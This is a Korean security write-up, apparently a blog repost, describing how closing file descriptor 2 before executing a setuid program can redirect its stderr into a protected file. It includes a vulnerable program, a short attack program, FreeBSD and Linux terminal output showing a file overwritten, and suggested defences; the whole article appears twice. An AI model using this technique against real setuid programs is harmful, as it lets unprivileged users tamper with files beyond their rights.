커널의 파일 디스크립터 번호 부여 오류를 이용한 파일에 특정 문자열의 삽입 공격 가능성
Mutacker in Null@Root
mutacker@null2root.org, dbyeom@mail.hangkong.ac.kr
http://www.kof.co.kr
======================================================================================
0. 들어가기에 앞서
본 문서에 대한 판권 등은 없습니다. 배포는 자유롭게 하셔도 좋지만, 글의 수정은 삼가해 주셨으면 합니다.
물론, 내용상의 잘못된 점이나, 지적 사항은 위의 메일로 보내주시면, 수정하도록 하겠습니다.
아무쪼록 프로그램 개발하시거나, 관리하시는 분들에게 조금이나마 도움이 되었으면 하는 바램에서
이 글은 작성되어졌으며, 악의적으로 공격하는 목적으로 이용되지 않았으면 합니다.
======================================================================================
1. 개요
일반적인 대부분의 유닉스 프로그램은 프로그램이 시작하는 시점에서 세개의 파일 스트림이
개방(open)된 상태로 존재하게 된다.
첫번째는 입력용으로, 두번째는 출력용으로, 세번째는 에러출력 용으로 사용되어진다.
파일 입출력시 버퍼링을 하는 경우의 함수에서 사용하기 위한 stdin, stdout, stderr이 사용 되어지며,
실제 버퍼링을 하지 않는 함수들을 위해서는, STDIN_FILENO(숫자로 0)과 STD-OUT_FILENO(숫자로 1)과
STDERR_FILENO(숫자로 2)을 사용하게 된다.
stdin, stdout, stderr을 흔히 표준입출력 파일 포인터라 부르며, STDIN_FILENO(0), STD-OUT_FILENO(1),
STDERR_FILENO(2)를 파일 디스크립터라 칭하고 있다.
보통 파이프나 리다이렉션과 같은 것을 지원하기 위해 이들 세 가지 디스크립터들은 부모프로세스에 의해
close 되어질 수 있다. 자식 프로세스는 부모의 파일 디스크립터를 계승하게 되기 때문에, 만일 부모쪽에서
이들을 닫아(close) 버리는 경우, 자식 프로세스도 동일하게 close되어버리는 효과를 얻을 수있는 것이다.
대부분의 유닉스 운영체제의 경우, 처음 파일을 open하게 되면 이 파일은 파일 디스크립터 번호 3번부터
부여받게 되며, 이 후 파일이 오픈 되어지는 순서에 따라 4, 5, 6 식으로 부여가 되게 된다.
그러나, 특정 취약한 운영체제의 경우 만일 부모 프로세스상에서 close(2); 를 한상태에서 자식 프로세스를
생성하고, 특정 파일을 오픈했을 때, 파일 디스크립터 번호가 2번이 되어지는 경우가 있다. 이와 같은
상황에서 만일 stderr을 통해 에러메시지를 출력할 경우, 이는 표준 에러장치로의 출력이 아닌 open되어
있는 파일에 그 내용이 기록이 되어버리는 것이다.
만일 그 파일이 setuid가 걸려 있는 상태의 경우, 권한 밖의 파일에 내용을 추가시키거나 수정할 수 있게
되는 것이다.
이같은 현상은 운영체제 커널상의 오류로 만일 본인이 사용하는 시스템이 이와 같은 결과를 보인다면
커널 패치를 적극 고려해 보아야 할 것이다.
======================================================================================
2. 실험을 위한 시스템
FreeBSD badc0ded.datafort.net 4.4-RELEASE FreeBSD 4.4-RELEASE #0: Tue Sep 18 11:57:08 PDT
2001 murray@builder.FreeBSD.org:/usr/src/sys/compile/GENERIC i386
(datafort 게임 서버 상에서 실험 - 관리 중인 FreeBSD 시스템이 없어서리.. ^^;;)
======================================================================================
3. 실험을 위한 프로그램
------- 취약성 프로그램 --------------------------------
// cat > vul.c
// gcc -o vul vul.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
int fd=open("./vultest.txt",O_RDWR);
if(fd == -1) {
fprintf(stderr, "./vultest.txt can not open...\n\n");
return -1;
}
printf("vultest.txt read/write: fd=%d\n", fd);
fprintf(stderr, "%s\n", argv[1]);
return 0;
}
------------------------------------------------------
------- 공격용 프로그램 --------------------------------
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
close(2);
execl("./vul", "./vul", "Hacking example!!!", 0);
}
------------------------------------------------------
======================================================================================
4. 실험 결과
4.2 FreeBSD x86
----- level2 login 공격대상 프로그램 생성
bash-2.05$ ls -al
total 16
drwxr-xr-x 2 level2 wheel 512 Oct 9 01:15 .
drwxrwxrwt 141 root wheel 7680 Oct 9 01:15 ..
-rwsr-xr-x 1 level2 wheel 5063 Oct 9 01:15 vul
-rw-r--r-- 1 level2 wheel 492 Oct 9 01:15 vul.c
-rwx------ 1 level2 wheel 14 Oct 9 01:17 vultest.txt
bash-2.05$ pwd
/tmp/mu
bash-2.05$ id
uid=1002(level2) gid=1002(level2) groups=1002(level2)
bash-2.05$ cat vul.c
// cat > vul.c
// gcc -o vul vul.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
int fd;
printf("vul started...\n");
fd=open("/tmp/mu/vultest.txt",O_RDWR);
if(fd == -1) {
fprintf(stderr, "./vultest.txt can not open...\n\n");
printf("error\n");
return -1;
}
printf("vultest.txt read/write: fd=%d\n", fd);
fprintf(stderr, "%s\n", argv[1]);
return 0;
}
bash-2.05$ cat vultest.txt
Not hacked...
----- level1 login 공격 프로그램 생성 및 실행
bash-2.05$ ls -al
total 19
drwxr-xr-x 2 level1 wheel 512 Oct 9 01:10 .
drwx-wx-wx 106 root wheel 11776 Oct 7 03:10 ..
-rwxr-xr-x 1 level1 wheel 4517 Oct 9 01:10 attack
-rw-r--r-- 1 level1 wheel 203 Oct 9 01:10 attack.c
bash-2.05$ cat attack.c
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
close(2);
execl("/tmp/mu/vul", "/tmp/mu/vul", "Hacking example!!!", 0);
}
bash-2.05$ ./attack
vul started...
vultest.txt read/write: fd=2
----- level2 login 공격 후의 결과 확인
bash-2.05$ cat vultest.txt <== 공격 전
Not hacked...
bash-2.05$ cat vultest.txt <== 공격 후
Hacking example!!!
======================================================================================
5. 타 시스템에서의 실험 결과
이와 동일한 방식을 이용하여 Sparc상에서 동작 중인 리눅스와 x86상에서 동작 중인 리눅스에 대해
적용해 보았을 경우, setuid가 붙어 있지 않은 실행파일에 대해서는 fd 값이 2로 부여가 되지만,
setuid가 적용되어진 실행파일의 경우에는 fd값이 3으로 부여되어짐을 확인 하였다.
하지만, 여전히 fd값이 2로 출력되어지는 부분이 존재하므로 이 부분에 대해서는 좀 더 실험해 볼
필요가 있을 것 같다.
[mutacker@sun fde]$ ./attack <== setuid가 없는 대상 프로그램 (Linux)
vultest.txt read/write: fd=2
[mutacker@sun fde]$ ./attack <== setuid가 붙은 대상 프로그램 (Linux)
vultest.txt read/write: fd=3
======================================================================================
6. 결론
현재 다양한 종류의 운영체제에서 이와같이 표준 에러 장치에 대해 부모가 close를 하였을 경우,
자식에게 그대로 승계가 되어지고, 이와 같은 상황에서 특정 운영체제의 경우 새로 정상 open하는
파일에 대해 파일 디스크립터 번호가 표준 에러 장치의 번호가 부여되게 되는 경우가 있으며,
이때 프로그램 중간에 표준 에러장치로 에러 상황을 알리는 프로그램의 경우 그 내용이
새로 open된 프로그램으로 출력이 이루어지는 경우가 발생할 수 있음을 알 수 있었다.
======================================================================================
7. 대비책
이와 같은 현상에 대해 간단한 대비책으로는 파일을 오픈했을 때, 디스크립터 번호가 2인가를 확인하고,
만일 2 이라면 프로그램을 종료를 시키는 방법을 통해 공격을 막을 수 있을 것이다.
또한, 처음 그저 불필요한 파일을 하나 만들고, 첫번째 그 불필요한 파일을 open을 하고, 두번째 부터
실제 중요한 파일을 open하는 방법을 이용하여 이를 막을 수 있으리라 본다.
======================================================================================
8. 참고자료
http://www.securiteam.com/exploits/5GP0S0K6UW.html
Mutacker in Null@Root
mutacker@null2root.org, dbyeom@mail.hangkong.ac.kr
http://www.kof.co.kr
======================================================================================
0. 들어가기에 앞서
본 문서에 대한 판권 등은 없습니다. 배포는 자유롭게 하셔도 좋지만, 글의 수정은 삼가해 주셨으면 합니다.
물론, 내용상의 잘못된 점이나, 지적 사항은 위의 메일로 보내주시면, 수정하도록 하겠습니다.
아무쪼록 프로그램 개발하시거나, 관리하시는 분들에게 조금이나마 도움이 되었으면 하는 바램에서
이 글은 작성되어졌으며, 악의적으로 공격하는 목적으로 이용되지 않았으면 합니다.
======================================================================================
1. 개요
일반적인 대부분의 유닉스 프로그램은 프로그램이 시작하는 시점에서 세개의 파일 스트림이
개방(open)된 상태로 존재하게 된다.
첫번째는 입력용으로, 두번째는 출력용으로, 세번째는 에러출력 용으로 사용되어진다.
파일 입출력시 버퍼링을 하는 경우의 함수에서 사용하기 위한 stdin, stdout, stderr이 사용 되어지며,
실제 버퍼링을 하지 않는 함수들을 위해서는, STDIN_FILENO(숫자로 0)과 STD-OUT_FILENO(숫자로 1)과
STDERR_FILENO(숫자로 2)을 사용하게 된다.
stdin, stdout, stderr을 흔히 표준입출력 파일 포인터라 부르며, STDIN_FILENO(0), STD-OUT_FILENO(1),
STDERR_FILENO(2)를 파일 디스크립터라 칭하고 있다.
보통 파이프나 리다이렉션과 같은 것을 지원하기 위해 이들 세 가지 디스크립터들은 부모프로세스에 의해
close 되어질 수 있다. 자식 프로세스는 부모의 파일 디스크립터를 계승하게 되기 때문에, 만일 부모쪽에서
이들을 닫아(close) 버리는 경우, 자식 프로세스도 동일하게 close되어버리는 효과를 얻을 수있는 것이다.
대부분의 유닉스 운영체제의 경우, 처음 파일을 open하게 되면 이 파일은 파일 디스크립터 번호 3번부터
부여받게 되며, 이 후 파일이 오픈 되어지는 순서에 따라 4, 5, 6 식으로 부여가 되게 된다.
그러나, 특정 취약한 운영체제의 경우 만일 부모 프로세스상에서 close(2); 를 한상태에서 자식 프로세스를
생성하고, 특정 파일을 오픈했을 때, 파일 디스크립터 번호가 2번이 되어지는 경우가 있다. 이와 같은
상황에서 만일 stderr을 통해 에러메시지를 출력할 경우, 이는 표준 에러장치로의 출력이 아닌 open되어
있는 파일에 그 내용이 기록이 되어버리는 것이다.
만일 그 파일이 setuid가 걸려 있는 상태의 경우, 권한 밖의 파일에 내용을 추가시키거나 수정할 수 있게
되는 것이다.
이같은 현상은 운영체제 커널상의 오류로 만일 본인이 사용하는 시스템이 이와 같은 결과를 보인다면
커널 패치를 적극 고려해 보아야 할 것이다.
======================================================================================
2. 실험을 위한 시스템
FreeBSD badc0ded.datafort.net 4.4-RELEASE FreeBSD 4.4-RELEASE #0: Tue Sep 18 11:57:08 PDT
2001 murray@builder.FreeBSD.org:/usr/src/sys/compile/GENERIC i386
(datafort 게임 서버 상에서 실험 - 관리 중인 FreeBSD 시스템이 없어서리.. ^^;;)
======================================================================================
3. 실험을 위한 프로그램
------- 취약성 프로그램 --------------------------------
// cat > vul.c
// gcc -o vul vul.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
int fd=open("./vultest.txt",O_RDWR);
if(fd == -1) {
fprintf(stderr, "./vultest.txt can not open...\n\n");
return -1;
}
printf("vultest.txt read/write: fd=%d\n", fd);
fprintf(stderr, "%s\n", argv[1]);
return 0;
}
------------------------------------------------------
------- 공격용 프로그램 --------------------------------
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
close(2);
execl("./vul", "./vul", "Hacking example!!!", 0);
}
------------------------------------------------------
======================================================================================
4. 실험 결과
4.2 FreeBSD x86
----- level2 login 공격대상 프로그램 생성
bash-2.05$ ls -al
total 16
drwxr-xr-x 2 level2 wheel 512 Oct 9 01:15 .
drwxrwxrwt 141 root wheel 7680 Oct 9 01:15 ..
-rwsr-xr-x 1 level2 wheel 5063 Oct 9 01:15 vul
-rw-r--r-- 1 level2 wheel 492 Oct 9 01:15 vul.c
-rwx------ 1 level2 wheel 14 Oct 9 01:17 vultest.txt
bash-2.05$ pwd
/tmp/mu
bash-2.05$ id
uid=1002(level2) gid=1002(level2) groups=1002(level2)
bash-2.05$ cat vul.c
// cat > vul.c
// gcc -o vul vul.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
int fd;
printf("vul started...\n");
fd=open("/tmp/mu/vultest.txt",O_RDWR);
if(fd == -1) {
fprintf(stderr, "./vultest.txt can not open...\n\n");
printf("error\n");
return -1;
}
printf("vultest.txt read/write: fd=%d\n", fd);
fprintf(stderr, "%s\n", argv[1]);
return 0;
}
bash-2.05$ cat vultest.txt
Not hacked...
----- level1 login 공격 프로그램 생성 및 실행
bash-2.05$ ls -al
total 19
drwxr-xr-x 2 level1 wheel 512 Oct 9 01:10 .
drwx-wx-wx 106 root wheel 11776 Oct 7 03:10 ..
-rwxr-xr-x 1 level1 wheel 4517 Oct 9 01:10 attack
-rw-r--r-- 1 level1 wheel 203 Oct 9 01:10 attack.c
bash-2.05$ cat attack.c
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
close(2);
execl("/tmp/mu/vul", "/tmp/mu/vul", "Hacking example!!!", 0);
}
bash-2.05$ ./attack
vul started...
vultest.txt read/write: fd=2
----- level2 login 공격 후의 결과 확인
bash-2.05$ cat vultest.txt <== 공격 전
Not hacked...
bash-2.05$ cat vultest.txt <== 공격 후
Hacking example!!!
======================================================================================
5. 타 시스템에서의 실험 결과
이와 동일한 방식을 이용하여 Sparc상에서 동작 중인 리눅스와 x86상에서 동작 중인 리눅스에 대해
적용해 보았을 경우, setuid가 붙어 있지 않은 실행파일에 대해서는 fd 값이 2로 부여가 되지만,
setuid가 적용되어진 실행파일의 경우에는 fd값이 3으로 부여되어짐을 확인 하였다.
하지만, 여전히 fd값이 2로 출력되어지는 부분이 존재하므로 이 부분에 대해서는 좀 더 실험해 볼
필요가 있을 것 같다.
[mutacker@sun fde]$ ./attack <== setuid가 없는 대상 프로그램 (Linux)
vultest.txt read/write: fd=2
[mutacker@sun fde]$ ./attack <== setuid가 붙은 대상 프로그램 (Linux)
vultest.txt read/write: fd=3
======================================================================================
6. 결론
현재 다양한 종류의 운영체제에서 이와같이 표준 에러 장치에 대해 부모가 close를 하였을 경우,
자식에게 그대로 승계가 되어지고, 이와 같은 상황에서 특정 운영체제의 경우 새로 정상 open하는
파일에 대해 파일 디스크립터 번호가 표준 에러 장치의 번호가 부여되게 되는 경우가 있으며,
이때 프로그램 중간에 표준 에러장치로 에러 상황을 알리는 프로그램의 경우 그 내용이
새로 open된 프로그램으로 출력이 이루어지는 경우가 발생할 수 있음을 알 수 있었다.
======================================================================================
7. 대비책
이와 같은 현상에 대해 간단한 대비책으로는 파일을 오픈했을 때, 디스크립터 번호가 2인가를 확인하고,
만일 2 이라면 프로그램을 종료를 시키는 방법을 통해 공격을 막을 수 있을 것이다.
또한, 처음 그저 불필요한 파일을 하나 만들고, 첫번째 그 불필요한 파일을 open을 하고, 두번째 부터
실제 중요한 파일을 open하는 방법을 이용하여 이를 막을 수 있으리라 본다.
======================================================================================
8. 참고자료
http://www.securiteam.com/exploits/5GP0S0K6UW.html
"Security" 카테고리의 다른 글
- 현실적인 리눅스 보안(세심한 어카운트 관리) (0)2007/05/04
- ping 에 응답하지 않기 (0)2007/04/09
- Advances in kernel hacking (0)2006/11/24
- 커널의 오류를 이용한 파일에 특정 문자열의 삽입... (0)2006/11/24

수안이의 컴퓨터 연구실



Leave your greetings.